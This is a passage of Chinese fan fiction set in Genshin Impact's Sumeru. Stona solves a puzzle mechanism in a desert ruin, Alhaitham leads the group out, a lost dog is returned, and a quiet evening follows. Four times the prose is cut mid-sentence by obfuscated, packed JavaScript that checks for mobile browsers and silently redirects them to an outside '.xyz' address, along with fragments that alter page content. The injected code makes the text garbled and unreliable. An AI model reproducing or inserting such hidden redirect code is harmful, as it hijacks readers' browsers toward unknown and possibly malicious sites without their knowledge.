“既然大家的意见出现了分歧,那就投票表决吧,”一位学者提议道,“同意留在原地等待的举手。” 斯托娜举起了手,然后她发现除了自己以外,其他人都没有举手。 学者们没有举手,大概他们都觉得与其坐在原地等待,还不如主动寻找出去的路。 至于学者们雇佣的佣兵,他们应该像她一样没有过进入遗迹的经验,所以干脆弃权,等待投票结果。 所有人都看着唯一一个举手的斯托娜。 “有意思,”提议举手表决的学者说,“不过公平起见,说说你想要留在原地的理由吧。” “这个遗迹我们大家都很陌生,而且不知道有没有危险的机关,所以我想,留在原地是最好的办法。”斯托娜说。 “留在原地,然后呢?我们总不能在这里搭帐篷生活下去吧?” 斯托娜张嘴想要回答,但她有些犹豫。 她有种感觉,对方其实知道她接下来会说什么,而且对方不会同意她的话。 但斯托娜还是说了:“我们可以等艾尔海森来找我们。虽然我们落进了遗迹里,但从方位坐标上来说,我们现在仍然处于刚才等待艾尔海森的地点。” 果然,她猜得没错,她的话刚说完,学者就立刻开口说道:“鉴于书记官到现在还没有回来,我不觉得留在原地等他是个好主意。” “我也觉得不应该在原地等,”另一个学者说,“来都来了,这是天意,说明遗迹之神希望我们抓住这次机会探索这里。” 其他学者也纷纷表达了自己的观点,虽然他们看待问题的角度不同,但观点是一致的,即不留在原地等待,而是在遗迹里探索。 镀金旅团的人选择跟他们一起走。虽然佣兵们明显不喜欢这些一言不合就吵架的学者,但现在误入遗迹,他们担心不跟着学者们走的后果就是困在遗迹里永远出不去。 最终只有斯托娜一个人决定留在原地等待。 “既然如此,那就再会吧。只不过,像你这样遇到困难时总想着让其他人帮你解决问题的性格,实在有些软弱啊。” 学者们对斯托娜做出这样的评价之后就和佣兵们一起离开了,那个一落地就晕倒的学者也被佣兵们给抬走了。 被学者评价为“软弱”,斯托娜有些不平。 她承认软弱的确是自己性格的一部分,但这次她之所以留在原地却不是因为软弱,而是理智思考后的结果。 遗迹里有机关,很危险,比起和动不动就吵架的学者一起探索遗迹,当然是在原地等待艾尔海森更加安全。 所以斯托娜选择独自留在原地。 除了用来遮挡风沙的装备和水壶、口袋饼以外,斯托娜身上只有之前在须弥城港口打听线索时从商贩那里买的没什么用处的护身符。 她抬头目测了一下地面与自己所处位置的距离,并不是特别高。 如果随身带着绳子就好了,说不定可以把绳子的一端抛出去。 但坑洞边缘都是松软的沙子,就算真的能把绳子抛上去,也无法固定。 就在这时,遗迹不远处忽然传来惨叫声。 “救命啊!” “走开走开,别过来啊!” “是哪个笨蛋触发了机关?!!!” 斯托娜往尖叫声的方向跑去,发现前方的地面已经降了下去,形成了一个四四方方的深坑,尖叫声就是从坑底传来的。 她跑到深坑的边缘往下看,所有人都在,但除了人以外,还有数量众多的毒蝎。 “救命啊!我不想死啊!” “我也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16159285|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想死,我论文还没写完呢!” “研究经费还没有花完,我死不瞑目啊!” 各种各样的死前感慨从坑底传过来,毒蝎把所有人都围住,但并不没有进攻,看起来它们还在评估他们的能力,但相信距离毒蝎发动攻击的时候已经不远了。 “这个机关可以关闭吗?!”斯托娜趴在深坑边缘大声问道。 所有人立刻抬头,像看到救星一样看着她。 有一个还算冷静的学者用颤抖的声音回答了斯托娜的问题:“你在附近找一下有没有像开关的装置!” “好!” 斯托娜快速观察着深坑周围,最终在深坑左侧的墙壁上发现了一处颜色较深的正方形凸起。 正方形由三十六块大小相同的正方形陶片组成,三十六块陶片上的图案各不相同。 除了六乘六的三十六块陶片以外,在正方形的下方还有一排空槽位,看上去似乎可以把陶片移动到空槽位处,从而重新排列组合三十六块陶片,组成新的图案。 像这样的拼图式机关,斯托娜曾经在艾尔海森祖母写的那本机关图解里看到过几个。 艾尔海森的祖母把这类机关归类为“简单机关”,只需要移动机关的拼图碎片,使其组成破解机关所需的完整图案就可以。 至于图案应该是什么,一般来说都可以在遗迹里找到相应的提示。 斯托娜在机关周围寻找破解机关需要拼成的图案,但墙壁、天花板和地面上都没有图案,也没有花纹。 她匆匆思考一番,然后对坑底的人喊道:“你们脚下有没有图案?!” “什么图案?!啊啊啊啊啊别过来啊!”某个躲避毒蝎攻击的学者说道。 “什么图案都可以!” 更多的惨叫声从深坑里传来,过了一会儿,另一个焦急的声音响起:“没有啊!地板上没有图案!” “救命啊我被毒蝎蛰到啦我要死啦!” “死不了的,闭嘴!” “竟然没有吗?那图案应该是什么?”巨大的压力之下,斯托娜开始自言自语,她重新把机关附近的墙壁检查了一遍,仍然没有发现任何图案。 她只好看向胡乱排列的三十六块陶片,希望可以猜测出完整的图案应该是什么样子。 三十六块陶片上并不是每一片都有图案的,其中没有图案的陶片看上去一模一样,这些陶片彼此之间可以互相替代,并不重要,重要的是有图案的陶片。 有几块陶片上的图案看起来像是光秃秃的树枝,另外还有几块陶片比较容易辨认,可以组成一双眼睛。 树枝和眼睛……树枝和眼睛,如果完整的图案是人站在树下的话,只是眼睛就需要好几块陶片才能拼成,人和树的比例完全不对啊。 “还没破解机关吗?我们就快要死啦!”学者的声音从深坑里传来,还有毒蝎在坑底行走的沙沙声。 “我尽快,马上就好了!”斯托娜撒了个谎,然后继续猜测完整图案到底是什么。 人和树……人和树……不对,完整图案不可能是人和树,因为陶片只有三十六块,从陶片上的图案来分析,这些陶片根本拼不出一个完整的人形,也许完整图案只是截取了人脸的部分。 但是树枝的图案又为什么会出现在陶片上呢?人脸和树枝,怎么想都没办法把这两种事物联系在一起啊。 斯托娜看着陶片苦苦思索,忽然倒吸一口凉气。 不是人脸,也不是树枝。 其实在她进入遗迹之前,她就已经看过完整的图案了,那个图案就刻在遗迹入口处,是长了一双鹿角的猫咪脑袋。 29.第 29 章 “呜呜呜我最讨厌毒蝎了,走开走开,你们不要过来啊!”更多的惨叫与哀嚎声从坑底传来,深坑里的学者和镀金旅团在惨叫之余催促斯托娜快点破解机关。 “我在努力了,你们再坚持一下!” 斯托娜的手因为过于紧张而颤抖,但好在机关并不难破解,说白了只是个简单的拼图,所以手抖也不影响她挪动正方形里的陶片。 她最终把最后一块陶片移动到正确的位置,拼出了猫的脑袋和鹿的角。 凸起的正方形整体亮了一下,然后自动后移退回到了墙壁里,与墙壁严丝合缝,看起来就像是画在墙壁上的图案。 一阵音乐声响起,深坑里的毒蝎忽然停止了攻击,并且井然有序地离开了。 学者们和佣兵们脚下的地板开始震动、上升,上升到一半后停住,前方的石壁缓缓往两侧打开,一个新的出口出现在他们面前。 “你们没事吧?”斯托娜问。 “还好!” “得救了,好险。” “我被毒蝎蛰了!谁有药吗呜呜呜……” 逃过一劫的学者和佣兵纷纷跌坐在地大口呼吸,他们大多没有受伤,除了擦伤外只有一名学者被毒蝎蛰伤,镀金旅团的人带了急救药物,伤口只要及时处理就不会有问题。 一位佣兵抬头对斯托娜喊道:“谢谢您破解机关救了我们!” “不客气,机关不难,类似拼拼图!但我仍然建议我们大家在原地等待,遗迹里可能还有其他机关,太危险了!”斯托娜说。 “我同意!” “我也同意!” 镀金旅团的人纷纷赞同斯托娜的想法,但学者们对此持有相反的意见。 “我不同意!这个遗迹里的机关并不难,刚才只不过是因为有人误触了机关才害得我们所有人跟着受罪,只要小心一点就没问题了!” “没错没错,既然机关容易破解,我们更没有坐以待毙的道理!” 学者们的声音里带着不屑,他们把斯托娜的建议评价为是“坐以待毙”,并且认为机关不难破解,她破解了机关并不是什么不得了的事情。 明明自己救了他们,他们不感激也就算了,竟然还是这样居高临下的态度,真是令人生气。 但斯托娜还没有开口,镀金旅团的人就已经对学者们忍无可忍了。 “我们决定不和你们这些家伙一起走了!我们要听那位小姐的,和她一起回原地等待。继续和你们在遗迹里探索,你们会把我们都害死的。” “什么?明明是你们差点把我们害死!刚才一定就是你们误触了机关!”愤怒的学者们反唇相讥,进一步惹怒了镀金旅团的人,双方看起来马上就要开战。 到了这个时候,斯托娜自然要肩负起劝架的责任。 她正要开口,却听到身后传来一声闷响,回头去看时,她惊讶地发现,来时的路被一扇门堵住了。 斯托娜急忙来到门边,想要寻找开门的机关,但没有找到。 现在就算想返回原地也没办法了。 “你们这些家伙,收了我们的钱就应该听我们指挥,难道你们想造反吗?!” “你们自己要去送死可别拉上我们一起!” 学者和佣兵的争吵仍在继续,斯托娜回到机关处,低头对他们说道:“大家冷静一点,返回的路已经被堵住了,现在我们谁也没办法回去,恐怕只能继续往前走了!” 争吵声立刻停止。 “堵住了?这说明遗迹之神想要我们继续往前探索,而不是留在原地!” “才不是,如果不是你们这些家伙非要离开的话,我们根本不会遇到毒蝎,也不会被堵住退路!” “你们这些家伙!” “我们才要说你们这些家伙呢,别以为雇佣了我们就可以让我们陪你们送死!” “你们竟然把高尚的研究称为‘送死’?!!” “大家别吵了!再这样下去我们就出不去了!”斯托娜喊道。 虽然学者和佣兵的矛盾愈演愈烈,但大家都不想被困在遗迹里,所以他们暂时停止了内讧,开始商讨接下来该怎么办。 理智一些的学者认为,目前退路已经没有了,如果继续待在这里,那些毒蝎说不定会回来,眼下继续往前走是最合理的选择。 “另外,这个遗迹里的机关如果都是拼图式机关的话,破解起来不会太难,我们可以靠自己走出去。” 学者们原本的想法就是继续往前探索,如今返回的路线被堵死,留在这里可能会遭到毒蝎的二次进攻,所以镀金旅团的人在权衡一番之后,也决定跟随学者们继续往前走。 斯托娜也加入了他们,理由和镀金旅团的相同。 另外,如果这些人再次误触机关,她还得再去救他们,还不如和他们一起行动,把误触机关的可能降到最低。 拼图式机关被斯托娜破解之后,学者和佣兵们脚下的地板往上升了一段距离,他们的位置与斯托娜所在位置的垂直距离缩短到了两米左右,斯托娜在镀金旅团的帮助下安全跳进了下沉空间中与他们会合。 所有人一致同意继续往前走,他们离开下沉空间,踏进了刚才新出现的出口。 接下来的一段路比较暗,墙壁两旁没有灯,大家放慢了速度往前走。 虽然一路上没有遇到机关,也没有遇到毒蝎,但因为周围很黑,所以每个人都很紧张,连呼吸声都变大了了。 其中最紧张、抖得最厉害的是一名学者,这个学者就在斯托娜身边,他一直在念叨着诸如“遗迹之神保佑”之类的话,斯托娜通过他的声音辨认出他就是刚才那个会在考试前祈求考试之神保佑的学者。 斯托娜碰了碰他的肩膀,把她在须弥城港口买的护身符递给他:“这个给你。” “是什么?” “护身符。很管用的。” “护身符!太好了,我现在特别想要一个护身符来保护我!谢谢你!” “不客气。” 收下护身符之后,对方的紧张情绪得到了缓解,至少不像刚才那样一直念叨“遗迹之神保佑”了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166837|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 穿过黑暗的通路之后,他们来到了一个点着灯的房间,房间里有一些古旧的陶瓷雕塑,墙上绘有壁画,雕塑的形象是一只长有鹿角的猫,墙上的壁画则讲述了名为茸猫的神明的故事,壁画上神明的形象与雕塑一致。 “茸猫?从来没听说过这位神明,大概是没什么信众的神明吧。”学者评价道。 “壁画上说这个神明可以给信众们带来好运,带来降雨和庄稼丰收。”另一位学者看过壁画后说。 镀金旅团的人对这位寂寂无名的神明不感兴趣,他们在房间里搜索了一番,找到了一处新的机关。 这一处机关也是拼图式机关,而且图案和斯托娜破解的那个一样,也是茸猫的图案。 学者们在看到这个机关后纷纷发出了不屑的笑声,显然他们都觉得这个机关过于简单了。 他们用比斯托娜更快的速度破解了机关,打开了门。 门开之后,前方的通道两侧有灯光,看起来比上一条黑漆漆的路安全。 破解了拼图机关后,学者们完全找回了自信,他们走在最前面,加快脚步继续前进。 “真是的,我就说嘛,靠我们自己完全可以探索遗迹,不需要等其他人来救。” “就是就是。” “刚才你们被毒蝎围攻的时候可不是这么说的。” “是啊,你们刚才喊救命的声音可比我们大多了。” 紧绷的神经放松下来之后,学者们和佣兵们又开始拌嘴,斯托娜不想参与,所以下意识放慢了脚步,跟在他们身后。 “刚才我才没有破音,你这是诽谤!我要求你立刻收回——” “嘘!你们听到什么声音了吗?”佣兵打断了一名学者的抱怨,警惕地说道。 “声音?” 所有人安静下来,侧耳倾听。 是脚步声,虽然很轻,但在安静的遗迹里非常清晰。 收下斯托娜护身符的学者颤抖着声音说:“听说有的遗迹里放置了可以自由行动的遗迹守卫,遗迹守卫不知疲倦地在遗迹里巡逻,一旦遇到活人,就会展开攻击。” “可是遗迹守卫的脚步声不会这么轻。”另一位学者提出质疑。 “兴许是这个遗迹守卫比较先进呢?”镀金旅团的人猜测道。 虽然只是猜测,但在这样紧张的环境下,即使是学者们也有些相信了他的猜测。 只有斯托娜没有相信,因为她觉得这脚步声很熟悉,好像是艾尔海森。 走在最前面的学者慢慢后退,镀金旅团的人跟着他们后退,斯托娜则是往前走,很快,她就来到了队伍的最前面。 “别过去,”镀金旅团的人提醒她,“那边危险!” “没关系的。”斯托娜又往前走了几步,仔细听不远处的脚步声。她确定那就是艾尔海森的脚步声,于是开口问道:“艾尔海森,是你吗?” 脚步声停了,然后又响起,从声音来判断,声音的主人加快了脚步。 大约二十秒钟后,艾尔海森抱着小狗出现在拐角处。 30.第 30 章 “汪汪!汪汪!” 小狗充满活力地叫了两声,尾巴摇成了螺旋桨。 艾尔海森把它放下,小狗立刻往斯托娜的方向冲了过来,一头扑进她怀里。 “别害怕,已经没事了,我们会带你回去的。”斯托娜抱起小狗。 艾尔海森走到她面前,问:“没有受伤吧?” 斯托娜:“没有。” 但艾尔海森仍然看着她,没有说话。 “……好吧,刚才的确摔了一跤,但是没什么大碍。”斯托娜承认道。 “两小时的时间还没到,你们为什么会进入遗迹?”艾尔海森的视线转移到学者们身上,语气冷了下来。 “我们是学者,学者探索遗迹是很正常的事,就算你是书记官也无权用这样无礼的语气质问我们。”其中一名学者说道。 但镀金旅团的人态度相比之下就好了许多,他们对艾尔海说道:“是沙尘暴导致沙子下陷,我们是从地面摔下来的。本来这位小姐建议我们待在原地等你,但这些家伙执意要自己探索遗迹,触动了机关,如果不是这位小姐救了我们,我们已经被毒蝎大卸八块了。” 学者们辩解说是因为镀金旅团的人误触了机关才导致他们陷入陷阱,如果没有镀金旅团的人添乱的话,他们现在早就成功离开遗迹了。 艾尔海森不理会学者们的话,他看了一眼仍然在昏迷的那个学者,问:“这个人是怎么回事?” “摔进遗迹的时候就晕了,到现在还没醒呢。估计是脑震荡,但不严重。”镀金旅团的人回答。 艾尔海森了解完了情况之后,也简单说明了他进入遗迹后的遭遇。 这个遗迹不算大,遗迹内设置的机关难度也较小,但岔路比较多,其中有很多死胡同,他为了寻找小狗,只好每条路都走一遍,所以耽误了一些时间,直到现在都没有离开遗迹。 “跟我来,我带你们出去。”艾尔海森说。 “不,我们不需要你,我们自己能出去。”学者们的态度很坚决,他们要靠自己离开遗迹,不需要艾尔海森的帮助。 艾尔海森没有劝说,而是抛下一句“随便你们”就和斯托娜继续往前走。 “等一下,你忘了你的护身符!”收下斯托娜护身符的学者说。 斯托娜:“送你了。” “这么宝贵的礼物,我真的可以收下吗?” “当然可以,送你了。” “谢谢!” 艾尔海森问:“那个护身符是……” “没什么,之前在港口随便买的,刚才我看他害怕,就送给他了。”斯托娜压低声音说。 镀金旅团的人已经受够了自己的雇主,所以他们毫不犹豫地跟在了斯托娜身后。 斯托娜抱着小狗,有些不安。那些学者虽然态度不友善,但把他们丢在遗迹里真的没问题吗。 “万一他们迷路了怎么办?”她对艾尔海森说道。 “离开遗迹的路只有一条,其他的路都走不通,他们就算每条路都走一次也能出去,只不过多花费些时间而已。”艾尔海森说。 “那就好。不过他们还要带着那个昏迷不醒的学者探索遗迹,速度会慢许多。” 镀金旅团的人和他们两个一起走,并且拒绝把昏迷不醒的学者抬出遗迹,所以这名学者只能由其他学者抬着。 “说起来,”斯托娜说,“昏迷的那个学者,你有印象吗?” “你认出他了?” “没有。但他的言行举止很像是我们小时候在夏令营里遇到的那些人。” 艾尔海森点点头,肯定了斯托娜的话:“但他不值得我们回忆,过了这么多年,想必他和以前相比并没有太大变化。” 斯托娜想起刚才那个学者极其败坏之下脱口而出的“书呆子”,的确是没怎么变。 说话间,他们来到另一个房间,这个房间里也有关于茸猫的壁画,不过壁画还没有上色,还只是半成品。 “沙漠里的神明光是文献记载的就有两千多个,像茸猫这样信众较少的神明很容易被信众抛弃,也就不会留下什么值得研究的资料。即使有人想要对这处遗迹进行研究,教令院也不会提供研究经费。”艾尔海森解释说。 “所以他们那些学者这次是白跑一趟了?” “如果他们是为了回到教令院后可以向其他人夸耀自己的成就,就难免会对这次的结果感到失望,但从研究的角度来说,多几次探索遗迹的经验总归不是坏事,只是我对于他们在经过这次探索后是否会在探索其他遗迹时更加小心谨慎深感怀疑。”艾尔海森忽然叹了口气,继续说道:“如果刚才我带你一起进入遗迹,你就不会受伤了。” “可如果刚才我跟你走了,他们该怎么办啊?” 说起这个,斯托娜当然要提一下机关的事:“我刚才破解的那个机关是拼图式机关,虽然只是6×6的拼图,但这是我第一次破解遗迹里的机关。” “对于第一次踏入遗迹的人来说,你的表现一定令那些学者印象深刻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176822|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 即使他们并不愿承认。珐露珊前辈的建议,希望你可以认真考虑一下,如果你能到教令院来,一定能比刚才那些家伙优秀。” “只是这次运气好而已啦,其实我之前在机关图解那本书里看到过拼图式机关,注解里还说明了寻找图案的思路,所以我才能解开的。” “能够活学活用书籍里的知识,很多学者都无法做到这一点。另外,运气也是能力的一部分。你做得很好。” 有艾尔海森带路,他们没有遇到任何危险,顺利离开了遗迹。 “呜呼!”重见天日的雇佣兵们发出欢呼,并对天发誓以后再也不接教令院学者的沙漠向导委托。 学者们还没有从遗迹里出来,不过艾尔海森在寻找小狗的过程中已经把遗迹里的大多数机关都破解了,斯托娜和学者们破解的那两个机关是艾尔海森唯二还没有破解的,所以现在遗迹里很安全,学者们不会有生命危险。 镀金旅团的人留下来等待学者们从遗迹里出来后结清委托的尾款,斯托娜和艾尔海森则带着小狗离开沙漠,回到了喀万驿。 回到喀万驿后,他们立刻给小狗主人写信,告知对方小狗已经找到,很快就会回去,不要担心。 因为在沙漠耗费了太多体力,信送出之后,斯托娜和艾尔海森决定,在喀万驿休息一晚再返回须弥城。 当天晚上,斯托娜早早就抱着小狗睡了,一整个晚上她都没有做梦,睡得十分安稳,虽然第二天醒来后因为在沙漠的旅程而腰酸背痛,但她心情愉快,精神还不错。 吃过早饭之后,斯托娜和艾尔海森带着小狗返回须弥城。 为了尽快让小狗与主人相见,他们乘坐的是不会在途中停留的直达船,并且是港口速度最快的船,这艘船于当天晚上十一点钟抵达须弥城。 小狗主人早早就站在港口迎接,直达船驶入港口尚未抛锚的时候,小狗主人的声音就已经传到了船上,而当船放下舷梯的时候,小狗主人再也按捺不住自己,激动地冲上了甲板。 在站满了人的甲板上就这样出现了小狗与主人重逢的感人画面。 “啊小狗!小狗!!小狗!!!还以为再也见不到你了呢!你不在的这段时间我真的好担心你、好害怕你受到伤害!你过得怎么样?睡眠怎么样?饮食怎么样?心情怎么样?答应我,以后再也不要这样让我担心了好吗?唉,我知道这一切都是我的错,都是因为我一时疏忽才导致你遭难,但我向你保证,以后我再也不会允许这种事情发生!啊,世界真美好!” 31.第 31 章 与小狗的重逢仪式结束之后,小狗主人又以不输重逢仪式的热情对斯托娜和艾尔海森表示了感谢,因为他的感谢过于冗长,其大意又完全可以概括为“非常感谢”这四个字,所以此处就不再赘述。 小狗主人表达完了感谢之后,还向斯托娜和艾尔海森发出了十分诚挚的邀请: “请务必来参加下周的舞会!这次舞会是为了庆祝小狗安全归家,请放心,这次我一定不会让它再跑出去了!” “请允许我拒绝,”艾尔海森说,“我对舞会这种活动不感兴趣。” 但小狗主人从来不是个轻言放弃的家伙,艾尔海森的拒绝对他而言就像是一阵微不足道的微风,小狗主人继续说道:“这次的舞会一定会很有趣的,我们可以跳舞、唱歌,还可以一起玩游戏!而且我会准备很多食物,如果您不喜欢唱歌跳舞的话,也可以单纯来和其他人聊聊天……” 小狗主人的声音忽然低了下去,他皱起眉毛看着艾尔海森,试探着问道:“这位恩人,不知道有没有人说过,你很像大书记官?还、还是说,您就是大书记官本人?!!” “后者。”艾尔海森回答。 “天哪,我竟然一直没有认出您,实在是太失礼了!”小狗主人抱着小狗发出了尖锐爆鸣声。 斯托娜也很惊讶。 他竟然现在才发现艾尔海森是艾尔海森吗?看来这些天来小狗主人的确一门心思想要找到小狗,对其他的一切都不敏感。 小狗主人忽然看向斯托娜,神情惊恐:“很抱歉,但我到现在还没有认出您的身份,请问可不可以给我一点提示?” 对小狗主人来说,既然面前的这位善良又有爱心的人是大书记官,那么大书记官身边这位同样善良又有爱心的人,一定也是某位他没能认出的大人物吧。 斯托娜急忙摆了摆手,说道:“我没有什么身份啦,你不要紧张。” “这样啊……”小狗主人松了一口气,但很快又挺直了腰板:“不不不,还请不要为了安慰我而如此妄自菲薄,就算您不是教令院的学者,但您依然是一位非常值得尊敬的女士。” 斯托娜点点头:“好吧,我是一位非常值得尊敬的女士。” 小狗主人用力点头:“没错!那么请问您愿意参加‘庆祝小狗归家’派对吗?” “其实我最近有点事情要忙,恐怕去不了呢。”斯托娜遗憾地说。 她不讨厌派对,但对派对也没有太喜欢,所以去或是不去都行。鉴于晚上还要钓鱼,比起参加派对,斯托娜更倾向于钓鱼。 “好吧,虽然遗憾,但我理解,”小狗主人点点头,他很快又重新振作起来,“那么我和小狗就不继续占用二位的时间了,请立刻回家休息!斯托娜小姐,也许我们以后会在须弥城偶遇!期待与您的再次相遇,再见!书记官先生,也许我们以后会在教令院偶遇,期待与您的再次相遇,再见!最后,请让我和小狗再次对二位表示衷心的感谢!” “汪汪汪!”小狗也摇着尾巴表示感谢。 与小狗和小狗主人道别,回家途中,斯托娜发现了小狗主人在须弥城中张贴的寻狗启示。 小狗已经找到,小狗主人辛苦张贴的寻狗启示也就没用了,但这种“没用”是所有人都希望的,就像船上配备的救生艇,没人会希望自己乘船的过程中需要用到救生艇。 “真的很感谢你的帮助,如果不是你的话,恐怕我们几个现在还在四处张贴寻狗启示呢。”斯托娜说。 “不用谢,我们是朋友。” 朋友是可以互相麻烦的——这句话艾尔海森已经说过很多次了,以至于他这次还没有说,斯托娜就已经想到了。 “啊,说起这个,明天我帮忙整理书房怎么样?你明天有时间吗?”她问。 斯托娜答应艾尔海森帮他整理书房,但她当然需要在艾尔海森在场的情况下整理,至少也需要艾尔海森把整理书房的具体要求告诉她,否则如果把书籍的摆放顺序打乱恢复不了就麻烦了。 “明天下午吧,这个时间你可以接受吗?”艾尔海森说。 “可以。” “好的,提前谢谢你帮忙整理书房。” “不客气,朋友之间本来就是可以互相麻烦的嘛。”斯托娜把艾尔海森说过的话说了一遍。 “既然如此,我可以再麻烦你一件事吗?”艾尔海森停下了脚步,转身面对着斯托娜。 “当然可以,是什么事?” “麻烦你留下来。”艾尔海森看着她的眼睛,神情无比认真地说。 斯托娜看着面前的人,第一反应是自己听错了。 一定是艾尔海森说了其他什么话,但她的耳朵出了问题,错听成了“麻烦你留下来”。 因为这不像是艾尔海森会说的话。 斯托娜的第二反应是,艾尔海森在开玩笑。 艾尔海森有时候会一脸认真地开玩笑,因为他的神情和平时没什么不同,所以别人总是会被他唬住,斯托娜也会。 对方现在是在开玩笑吗? 她看不出来。 “你……是不是想说,”斯托娜试图理解艾尔海森的话,“我应该搞清楚自己到底是怎么想的,而不是被别人的想法所左右?” 斯托娜在面对父母时总会习惯性地表现出软弱妥协的一面,所以,艾尔海森这句话的意思大概是想让她意识到她必须自己坚定决心,不被别人影响……吧? 还是说,这句话其实没有她想得那么复杂,对方真的只是希望她能留下来? 留在哪里?须弥吗?还是须弥城?还是比须弥城更确切的地点、也就是她现在正在借住的地方,即艾尔海森的家? “抱歉我又提起了这个话题,但如你所说,我的确希望你可以坚定自己的想法。”艾尔海森说。 他还是没能忍住,开口挽留斯托娜了。 尽管艾尔海森在刚说出前几个字的时候就已经后悔,但他还是坚持说完了整个句子。 然后更后悔了。 好在,斯托娜理解错了他的话,他得以将错就错。 “我并不想干涉你的决定,只是给予适当的提醒。你的父母现在应该已经收到你的信了,如果他们写了回信寄到璃月,我在璃月的相识再把信寄过来,你看了信之后会怎么做?” 斯托娜看起来很为难。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192349|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当然会是这种反应,在回家路上忽然提起这样沉重的话题,他还能指望对方有其他反应吗? 自己的行为太不恰当,未经思考,太鲁莽,而且就像是在逼她做决定。 艾尔海森向来不认为在别人的逼迫下做出的决定会是正确的。 人要为自己的选择承担后果,人同样也要尽可能让自己的每一个选择都是出于本人真实的意愿。 尽管他很希望斯托娜可以尽快下定决心,但他不想用这种逼迫的方式。 “抱歉,还是说回整理书房的事吧,”艾尔海森转移了话题,“我平时整理书房的流程是先把书从书房搬出去,等清扫结束后再把书放回。明天就辛苦你和我一起搬书了。” 他一个人整理书房需要一天的时间,两个人一起整理的话,半天就足够了。 第二天下午,艾尔海森和斯托娜来到书房,敞开书房的门,把书房里的书全部搬出。 把书房打扫干净之后,他们把搬出去的书按照原来的排序放回了原位。 艾尔海森书房里的书籍摆放总是井井有条,不需要刻意整理,但因为书籍数量较多,即使只是把书放回原位也需要花费大量时间。 等全部整理完毕的时候,太阳已经开始落山,夕阳余晖透过窗户洒进书房,纸张与油墨的气味弥漫在整个房间。 “外面还有一本书没有放回书架,”斯托娜带着一本书回到书房,她托起书本,把封面给艾尔海森看,“这本书应该放在哪里?” 这是一本翡翠封皮的精装厚书,是祖母的藏书。 这本书祖母在生前并没有送给他,艾尔海森知道祖母的本意是让他自己发现这本书。 斯托娜翻开书的第一页,说:“啊,看来这本书是你祖母的,这上面有她的字迹。” 书籍扉页上写的是祖母对他的祝福,祖母希望他可以过上平静的生活。 “虽然我没有见过你的祖母,但她一定很喜欢你吧?”斯托娜抬起头,脸上的笑意很温柔。 艾尔海森点点头:“祖母是和我最亲近的人。” 他的父母很早就去世了,艾尔海森对他们没有印象,不过从他们留下的书籍和文献资料来推测,他的父亲是个很精益求精的人,注重逻辑和精确,母亲则好奇心旺盛,喜欢追根究底,即使是对研究没有太大帮助的问题也会努力调查清楚。 母亲和祖母的性格有些相似,不过与祖母相比,母亲的研究视角具有更多的人文关怀,毕竟因论派主攻的是历史学和社会学,在六大学派中算是比较有人情味的学派。 艾尔海森的家是很传统的学者家庭,彼此之间即使理念不合也能互相尊重,有矛盾时也不会吵架,而是列举自己的观点和例证来证明自己观点的正确。 虽然父母去世得早,但艾尔海森相信,父母都是观念开放的学者,不会逼迫他按照他们的意愿生活。 斯托娜的指尖轻轻拂过扉页上祖母的字迹,视线温柔地落在书籍扉页:“我以为祖母会希望你能够成为有名的学者,没想到她的祝福意外的淡泊呢。” 哪怕艾尔海森不是研究语言和文字的专家,他也不会听不出对方话语中的羡慕。 32.第 32 章 在艾尔海森小时候,其他孩子虽然把对他的反感都写在脸上,但他们不愿直接表现出来的还有对他的羡慕,羡慕他可以在和他们一样的年纪就读懂对他们来说艰难晦涩的大部头,羡慕他比他们聪明那么多。 小孩子关注的重点和大人是有差别的,一般来说,大人比孩子更加贪婪。 教令院的学者羡慕他在须弥城的房产,羡慕他高薪却清闲的工作,当然也继续羡慕他的智慧,但没人因为他的祖母而羡慕他。 因为他的祖母而羡慕他的,大概只有斯托娜了吧。 人总是羡慕自己没有的东西,这话其实并不准确,因为一个人无法拥有的东西太多,如果看到什么都要羡慕的话,人就活不下去了。 人最容易羡慕的不是自己没有的东西,而是自己不可能得到的东西。 斯托娜羡慕他有一个爱他、尊重他的祖母,是因为斯托娜永远不会有这样一位祖母。 